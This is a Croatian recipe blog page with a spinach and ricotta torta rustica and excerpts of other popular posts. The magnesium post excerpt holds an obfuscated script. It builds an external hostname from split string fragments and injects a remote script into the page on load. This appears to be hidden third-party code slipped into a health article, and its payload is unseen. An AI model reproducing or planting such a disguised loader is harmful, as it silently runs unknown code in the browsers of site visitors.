TORTA RUSTICA 🍰





Torta rustica 



Talijanska torta rustica sa špinatom i ricotta sirom je brzo je, jednostavno i super ukusno jelo koje u jednom limu za pečenje i "hvata"bit talijanske kuhinje. Svi su sastojci uobičajeni, pa i svakodnevni, ali rezultat je – nesvakidašnje dobar.




Torta rustica 


Sastojci:

  • 2 komada gotovog (kupovnog) lisnatog tijesta
  • 1000 g špinata
  • 500 g ricotta sira
  • 200 g parmezana
  • 2 jaja
  • sol
  • maslac za mazanje



Priprema:

  1. Stavite svježi špinat u kipuću posoljenu vodu i kuhajte oko 10 minuta dok ne omekša. Ocijedite ga u cjedilu i dobro pritisnite da ne ostane vode.
  2. U velikoj zdjeli pomiješajte kuhani špinat s ribanim parmezanom, jajima, ricottom i malo soli.
  3. Pripremite okrugli kalup promjera 30 do 32 centimetra i premažite ga maslacem. Razvaljajte lisnato tijesto i utisnite ga u kalup za pečenje. Formirajte rub visine cca 2 centimetra, pa višak tijesta odrežite. Ponovno ga izvaljajte i izrežite trake širine cca 1,5 centimetra koje ćete staviti na vrh za ukras. Tijesto izbodite vilicom prije nego na njega stavite nadjev.
  4. Zagrijte pećnicu na 180 stupnjeva.
  5. Ravnomjerno rasporedite nadjev od špinata i ricotte po tijestu i zagladite ga stražnjom stranom žlice.
  6. Trake od tijesta rasporedite po površini torte tako da tvore rešetku s otvorima u obliku romba.
  7. Stavite tortu u pećnicu i pecite je 35 minuta ili dok tijesto ne dobije lijepu boju.
  8. Pustite da se kratko ohladi na sobnoj temperaturi prije posluživanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više